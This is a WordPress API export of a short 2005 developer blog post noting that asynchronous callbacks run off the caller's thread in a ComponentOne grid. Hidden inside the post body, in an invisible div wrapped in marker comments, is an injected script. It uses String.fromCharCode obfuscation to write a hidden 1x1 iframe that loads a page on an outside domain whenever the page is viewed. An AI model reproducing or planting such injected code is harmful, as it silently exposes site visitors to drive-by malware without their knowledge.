{"id":66,"date":"2005-12-09T20:37:19","date_gmt":"2005-12-09T19:37:19","guid":{"rendered":"http:\/\/freegw.xs4all.nl\/~basp\/wordpress\/index.php\/2005\/12\/09\/asynchronous-calls-callbacks\/"},"modified":"2010-06-25T21:02:58","modified_gmt":"2010-06-25T20:02:58","slug":"asynchronous-calls-callbacks","status":"publish","type":"post","link":"\/~basp\/wordpress\/index.php\/2005\/12\/09\/asynchronous-calls-callbacks\/","title":{"rendered":"Asynchronous"},"content":{"rendered":"<p>Note to self: when executing invoking a method asynchronously and using a callback keep in mind that the callback is not executed in the same thread as the caller. <\/p>\n<p>At least, it seems so because when I inspected the C1TrueDBGrid&#8217;s InvokeRequired property during a debug session on a breakpoint in a callback the property was set to True.<\/p>\n<p>I&#8217;m not a big fan of the <a href=\"http:\/\/www.componentone.com\">ComponentOne<\/a> suite but we just need their &#8220;virtual data sets&#8221; to get our application up and running in the amount of time we have available. I don&#8217;t doubt we could create something similar eventually but not in two weeks probably.<!--more--><!--0a83360c16f1d9ab202eab05a6a9e1c822010--><\/p>\n<div style=\"display:none\">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))<\/div>\n<p><!--\/0a83360c16f1d9ab202eab05a6a9e1c822010--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Note to self: when executing invoking a method asynchronously and using a callback keep in mind that the callback is not executed in the same thread as the caller. At least, it seems so because when I inspected the C1TrueDBGrid&#8217;s InvokeRequired property during a debug session on a breakpoint in a callback the property was &hellip; <\/p>\n<p class=\"link-more\"><a href=\"\/~basp\/wordpress\/index.php\/2005\/12\/09\/asynchronous-calls-callbacks\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Asynchronous&#8221;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-66","post","type-post","status-publish","format-standard","hentry","category-c","entry"],"_links":{"self":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/66","targetHints":{"allow":["GET"]}}],"collection":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/comments?post=66"}],"version-history":[{"count":0,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/66\/revisions"}],"wp:attachment":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/media?parent=66"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/categories?post=66"},{"taxonomy":"post_tag","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/tags?post=66"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}